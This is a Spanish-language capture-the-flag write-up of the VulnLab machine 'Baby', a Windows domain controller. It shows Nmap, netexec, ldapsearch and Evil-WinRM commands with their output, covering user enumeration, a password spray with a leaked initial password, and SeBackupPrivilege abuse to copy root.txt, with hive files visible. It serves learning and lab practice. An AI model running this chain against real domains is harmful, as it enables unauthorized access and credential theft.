VulnLab: Baby
El día de hoy vamos a realizar el writeup de la máquina vulnerable Baby de VulnLab. Esta máquina está diseñada para principiantes y nos ayudará a entender conceptos básicos de explotación y escalada de privilegios.
Reconocimiento
Comenzamos con un escaneo de puertos utilizando Nmap para identificar los servicios que están corriendo en la máquina objetivo.
sudo nmap -sS -Pn -n -p- --open -T5 --min-rate 5000 10.10.65.235 -vvv
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
Al ver los puertos abiertos, notamos que hay varios servicios de Windows corriendo, incluyendo SMB (puertos 139 y 445) y RDP (puerto 3389).
Enumeración SMB
Vamos a enumerar el servicio SMB utilizando netexec con una sesion anónima.
nxc smb 10.10.65.235 -u '' -p ''
SMB 10.10.65.235 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.65.235 445 BABYDC [+] baby.vl\:
Al ver que teniamos la capacidad de autenticarnos de manera anónima, procedemos a listar recursos y generar el archivos hosts
┌──(kali㉿kali)-[~/Labs/Vulnlab]
└─$ nxc smb 10.10.65.235 -u '' -p '' --shares
SMB 10.10.65.235 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.65.235 445 BABYDC [+] baby.vl\:
SMB 10.10.65.235 445 BABYDC [-] Error enumerating shares: STATUS_ACCESS_DENIED
┌──(kali㉿kali)-[~/Labs/Vulnlab]
└─$ nxc smb 10.10.65.235 -u '' -p '' --generate-hosts hosts.txt
SMB 10.10.65.235 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.65.235 445 BABYDC [+] baby.vl\:
┌──(kali㉿kali)-[~/Labs/Vulnlab]
└─$ cat hosts.txt
10.10.65.235 BABYDC.baby.vl baby.vl BABYDC
Agregamos la entrada al archivo /etc/hosts para facilitar futuras conexiones.
A continuación enumeramos usuarios por ldap ya que por smb de manera anónima no pudimos obtener mucha información.
┌──(kali㉿kali)-[~/Labs/Vulnlab]
└─$ nxc ldap 10.10.65.235 -u '' -p '' --users-export output.txt
LDAP 10.10.65.235 389 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl)
LDAP 10.10.65.235 389 BABYDC [+] baby.vl\:
LDAP 10.10.65.235 389 BABYDC [*] Enumerated 9 domain users: baby.vl
LDAP 10.10.65.235 389 BABYDC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.10.65.235 389 BABYDC Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.10.65.235 389 BABYDC Jacqueline.Barnett 2021-11-21 10:11:03 0
LDAP 10.10.65.235 389 BABYDC Ashley.Webb 2021-11-21 10:11:03 0
LDAP 10.10.65.235 389 BABYDC Hugh.George 2021-11-21 10:11:03 0
LDAP 10.10.65.235 389 BABYDC Leonard.Dyer 2021-11-21 10:11:03 0
LDAP 10.10.65.235 389 BABYDC Connor.Wilkinson 2021-11-21 10:11:08 0
LDAP 10.10.65.235 389 BABYDC Joseph.Hughes 2021-11-21 10:11:08 0
LDAP 10.10.65.235 389 BABYDC Kerry.Wilson 2021-11-21 10:11:08 0
LDAP 10.10.65.235 389 BABYDC Teresa.Bell 2021-11-21 10:14:37 0 Set initial password to BabyStart123!
LDAP 10.10.65.235 389 BABYDC [*] Writing 9 local users to output.txt
Revisamos el archivo output.txt y encontramos varios usuarios. Notamos que el usuario Teresa.Bell tiene una descripción que podría indicar su contraseña inicial: BabyStart123!.
Acceso Inicial
Hacemos un password spray usando smb y la credencial que encontramos para el usuario Teresa.Bell.
┌──(kali㉿kali)-[~/Labs/Vulnlab]
└─$ nxc smb 10.10.65.235 -u output.txt -p 'BabyStart123!'
SMB 10.10.65.235 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Guest:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE
Vemos que la contraseña no funciona, pero recordamos el mensaje que nos dio el servicio LDAP, asi que procedo a ver de manera manual usando ldapsearch si encontramos mas usuarios con la misma contraseña.
┌──(kali㉿kali)-[~/Labs/Vulnlab]
└─$ ldapsearch -x -b "dc=baby,dc=vl" "user" -H ldap://10.10.65.235
...
...
# Caroline Robinson, it, baby.vl
dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl
Al final encontramos el usuario Caroline.Robinson en el departamento de IT. Probamos la misma contraseña con este usuario y vemos que nos retorna el estado Password_Must_Change.
┌──(kali㉿kali)-[~/Labs/Vulnlab]
┌──(kali㉿kali)-[~/Labs/Vulnlab]
└─$ nxc smb 10.10.65.235 -u 'Caroline.Robinson' -p 'BabyStart123!'
SMB 10.10.65.235 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.65.235 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
Procedemos a cambiar la contraseña utilizando smbpasswd.
┌──(kali㉿kali)-[~/Labs/Vulnlab]
└─$ smbpasswd -r 10.10.65.235 -U Caroline.Robinson
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user Caroline.Robinson
Despues de unos errores debido a la politica de contraseñas, logramos cambiar la contraseña a RootMaker123! y para probar usamos netexec para enumerar la política de contraseñas.
┌──(kali㉿kali)-[~/Labs/Vulnlab]
└─$ nxc smb 10.10.65.235 -u 'Caroline.Robinson' -p 'RootMaker123!' --pass-pol
SMB 10.10.65.235 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.65.235 445 BABYDC [+] baby.vl\Caroline.Robinson:RootMaker123!
SMB 10.10.65.235 445 BABYDC [+] Dumping password info for domain: BABY
SMB 10.10.65.235 445 BABYDC Minimum password length: 7
SMB 10.10.65.235 445 BABYDC Password history length: 24
SMB 10.10.65.235 445 BABYDC Maximum password age: 41 days 23 hours 53 minutes
SMB 10.10.65.235 445 BABYDC
SMB 10.10.65.235 445 BABYDC Password Complexity Flags: 000001
SMB 10.10.65.235 445 BABYDC Domain Refuse Password Change: 0
SMB 10.10.65.235 445 BABYDC Domain Password Store Cleartext: 0
SMB 10.10.65.235 445 BABYDC Domain Password Lockout Admins: 0
SMB 10.10.65.235 445 BABYDC Domain Password No Clear Change: 0
SMB 10.10.65.235 445 BABYDC Domain Password No Anon Change: 0
SMB 10.10.65.235 445 BABYDC Domain Password Complex: 1
SMB 10.10.65.235 445 BABYDC
SMB 10.10.65.235 445 BABYDC Minimum password age: 1 day 4 minutes
SMB 10.10.65.235 445 BABYDC Reset Account Lockout Counter: 30 minutes
SMB 10.10.65.235 445 BABYDC Locked Account Duration: 30 minutes
SMB 10.10.65.235 445 BABYDC Account Lockout Threshold: None
SMB 10.10.65.235 445 BABYDC Forced Log off Time: Not Set
Ahora probamos a conectarnos por winrm utilizando las credenciales de Caroline.Robinson y la nueva contraseña.
┌──(kali㉿kali)-[~/Labs/Vulnlab]
└─$ evil-winrm -i 10.10.65.235 -u 'Caroline.Robinson' -p 'RootMaker123!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami
baby\caroline.robinson
Y encontramos la flag de user.txt.
Escalada de Privilegios
Para la escalada de privilegios, solo tuve que enumerar los privilegios del usuario actual con whoami /priv y noté que tenía el privilegio SeBackupPrivilege.
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Con este privilegio vamos a hacer una explotacion manual, al poder realizar backups, podemos extraer el archivo root.txt que contiene la flag de root. Vamos a usar los siguientes archivos y subirlos en nuestra carpeta C:\Temp
*Evil-WinRM* PS C:\Temp> upload /home/kali/Labs/Vulnlab/Baby_easy/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
Info: Uploading /home/kali/Labs/Vulnlab/Baby_easy/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll to C:\Temp\SeBackupPrivilegeCmdLets.dll
Data: 16384 bytes of 16384 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Temp> upload /home/kali/Labs/Vulnlab/Baby_easy/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
Info: Uploading /home/kali/Labs/Vulnlab/Baby_easy/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll to C:\Temp\SeBackupPrivilegeUtils.dll
Data: 21844 bytes of 21844 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Temp> Import-Module .\SeBackupPrivilegeUtils.dll
*Evil-WinRM* PS C:\Temp> Import-Module .\SeBackupPrivilegeCmdLets.dll
*Evil-WinRM* PS C:\Temp> Set-SeBackupPrivilege
*Evil-WinRM* PS C:\Temp> Get-SeBackupPrivilege
Con modulos importados usamos Copy-FileSeBackupPrivilege para copiar el archivo root.txt a nuestra carpeta temporal.
*Evil-WinRM* PS C:\Temp> Copy-FileSeBackupPrivilege C:\Users\Administrator\Desktop\root.txt C:\Temp\root.txt -Overwrite
*Evil-WinRM* PS C:\Temp> dir
Directory: C:\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/5/2026 6:44 PM 36 root.txt
-a---- 2/5/2026 6:14 PM 49152 sam.hive
-a---- 2/5/2026 6:42 PM 12288 SeBackupPrivilegeCmdLets.dll
-a---- 2/5/2026 6:42 PM 16384 SeBackupPrivilegeUtils.dll
-a---- 2/5/2026 6:14 PM 16859136 system.hive